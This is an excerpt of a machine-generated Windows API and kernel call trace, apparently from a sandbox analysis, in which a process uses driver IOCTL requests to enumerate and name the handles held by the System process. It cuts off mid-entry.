ObQueryNameString (in: Object=0xfffffa80111f0670, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.960] ObfDereferenceObject (Object=0xfffffa80111f0670) returned 0x2 [0134.960] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.960] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.960] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0134.960] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.960] PsAcquireProcessExitSynchronization () returned 0x0 [0134.960] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.961] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80029627a0, HandleInformation=0x0) returned 0x0 [0134.961] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.961] PsReleaseProcessExitSynchronization () returned 0x2 [0134.961] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.961] ObQueryNameString (in: Object=0xfffffa80029627a0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0134.961] ObfDereferenceObject (Object=0xfffffa80029627a0) returned 0x1 [0134.961] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.961] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.961] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.961] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0134.961] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.961] PsAcquireProcessExitSynchronization () returned 0x0 [0134.961] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.961] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8010ff9a80, HandleInformation=0x0) returned 0x0 [0134.961] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.961] PsReleaseProcessExitSynchronization () returned 0x2 [0134.963] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.963] ObQueryNameString (in: Object=0xfffffa8010ff9a80, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.970] ObfDereferenceObject (Object=0xfffffa8010ff9a80) returned 0x2 [0134.971] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.971] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.971] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.971] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0134.971] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.971] PsAcquireProcessExitSynchronization () returned 0x0 [0134.971] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.972] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80028a8850, HandleInformation=0x0) returned 0x0 [0134.972] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.972] PsReleaseProcessExitSynchronization () returned 0x2 [0134.972] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.972] ObQueryNameString (in: Object=0xfffffa80028a8850, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.972] ObfDereferenceObject (Object=0xfffffa80028a8850) returned 0x2 [0134.972] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.972] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.972] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0134.972] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.972] PsAcquireProcessExitSynchronization () returned 0x0 [0134.972] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.972] ObReferenceObjectByHandle (in: Handle=0xffffffff800000bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002962e40, HandleInformation=0x0) returned 0x0 [0134.972] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.972] PsReleaseProcessExitSynchronization () returned 0x2 [0134.972] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.972] ObQueryNameString (in: Object=0xfffffa8002962e40, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.972] ObfDereferenceObject (Object=0xfffffa8002962e40) returned 0x3 [0134.972] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.972] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.972] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.972] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.972] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.972] PsAcquireProcessExitSynchronization () returned 0x0 [0134.972] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.972] ObReferenceObjectByHandle (in: Handle=0xffffffff800000c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8007591f20, HandleInformation=0x0) returned 0x0 [0134.972] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.972] PsReleaseProcessExitSynchronization () returned 0x2 [0134.972] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.972] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.973] ObfDereferenceObject (Object=0xfffffa8007591f20) returned 0x1 [0134.973] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.973] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.973] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.973] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.973] PsAcquireProcessExitSynchronization () returned 0x0 [0134.973] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.973] ObReferenceObjectByHandle (in: Handle=0xffffffff80000100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002b6d5b0, HandleInformation=0x0) returned 0x0 [0134.973] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.973] PsReleaseProcessExitSynchronization () returned 0x2 [0134.973] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.973] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.973] ObfDereferenceObject (Object=0xfffffa8002b6d5b0) returned 0x1 [0134.973] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.973] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.973] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.973] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.973] PsAcquireProcessExitSynchronization () returned 0x0 [0134.973] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.973] ObReferenceObjectByHandle (in: Handle=0xffffffff80000104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002af4050, HandleInformation=0x0) returned 0x0 [0134.973] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.973] PsReleaseProcessExitSynchronization () returned 0x2 [0134.973] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.973] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.973] ObfDereferenceObject (Object=0xfffffa8002af4050) returned 0x1 [0134.973] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.973] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.973] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.973] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0134.973] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.973] PsAcquireProcessExitSynchronization () returned 0x0 [0134.973] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.973] ObReferenceObjectByHandle (in: Handle=0xffffffff80000108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002ff0b10, HandleInformation=0x0) returned 0x0 [0134.974] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.974] PsReleaseProcessExitSynchronization () returned 0x2 [0134.974] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.974] ObQueryNameString (in: Object=0xfffffa8002ff0b10, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.974] ObfDereferenceObject (Object=0xfffffa8002ff0b10) returned 0x1 [0134.974] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.974] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.974] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.974] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.974] PsAcquireProcessExitSynchronization () returned 0x0 [0134.974] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.974] ObReferenceObjectByHandle (in: Handle=0xffffffff8000010c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002b8e9e0, HandleInformation=0x0) returned 0x0 [0134.974] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.974] PsReleaseProcessExitSynchronization () returned 0x2 [0134.974] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.974] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0134.974] ObfDereferenceObject (Object=0xfffffa8002b8e9e0) returned 0x1 [0134.974] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.974] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.974] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.974] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.974] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.974] PsAcquireProcessExitSynchronization () returned 0x0 [0134.974] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.974] ObReferenceObjectByHandle (in: Handle=0xffffffff80000120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80044a7050, HandleInformation=0x0) returned 0x0 [0134.974] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.974] PsReleaseProcessExitSynchronization () returned 0x2 [0134.974] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.974] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0134.974] ObfDereferenceObject (Object=0xfffffa80044a7050) returned 0x1 [0134.974] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.975] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.975] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.975] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.975] PsAcquireProcessExitSynchronization () returned 0x0 [0134.975] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.975] ObReferenceObjectByHandle (in: Handle=0xffffffff80000124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80077ff050, HandleInformation=0x0) returned 0x0 [0134.975] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.975] PsReleaseProcessExitSynchronization () returned 0x2 [0134.975] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.975] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0134.975] ObfDereferenceObject (Object=0xfffffa80077ff050) returned 0x1 [0134.975] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.975] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.975] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.975] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.975] PsAcquireProcessExitSynchronization () returned 0x0 [0134.975] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.975] ObReferenceObjectByHandle (in: Handle=0xffffffff80000128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80077fc050, HandleInformation=0x0) returned 0x0 [0134.975] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.975] PsReleaseProcessExitSynchronization () returned 0x2 [0134.975] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.975] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.975] ObfDereferenceObject (Object=0xfffffa80077fc050) returned 0x1 [0134.975] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.975] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.975] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.975] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.975] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.975] PsAcquireProcessExitSynchronization () returned 0x0 [0134.975] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.975] ObReferenceObjectByHandle (in: Handle=0xffffffff8000012c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8004871f20, HandleInformation=0x0) returned 0x0 [0134.976] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.976] PsReleaseProcessExitSynchronization () returned 0x2 [0134.976] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.976] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.976] ObfDereferenceObject (Object=0xfffffa8004871f20) returned 0x1 [0134.976] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.976] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.976] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.976] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.976] PsAcquireProcessExitSynchronization () returned 0x0 [0134.976] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.976] ObReferenceObjectByHandle (in: Handle=0xffffffff80000130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8004870050, HandleInformation=0x0) returned 0x0 [0134.976] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.976] PsReleaseProcessExitSynchronization () returned 0x2 [0134.976] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.976] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.976] ObfDereferenceObject (Object=0xfffffa8004870050) returned 0x1 [0134.976] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.976] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.976] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.976] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.976] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.976] PsAcquireProcessExitSynchronization () returned 0x0 [0134.976] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.976] ObReferenceObjectByHandle (in: Handle=0xffffffff80000134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8007ffc050, HandleInformation=0x0) returned 0x0 [0134.976] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.976] PsReleaseProcessExitSynchronization () returned 0x2 [0134.976] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.976] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.976] ObfDereferenceObject (Object=0xfffffa8007ffc050) returned 0x1 [0134.976] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.976] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.976] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.976] DeviceIoControl (in: 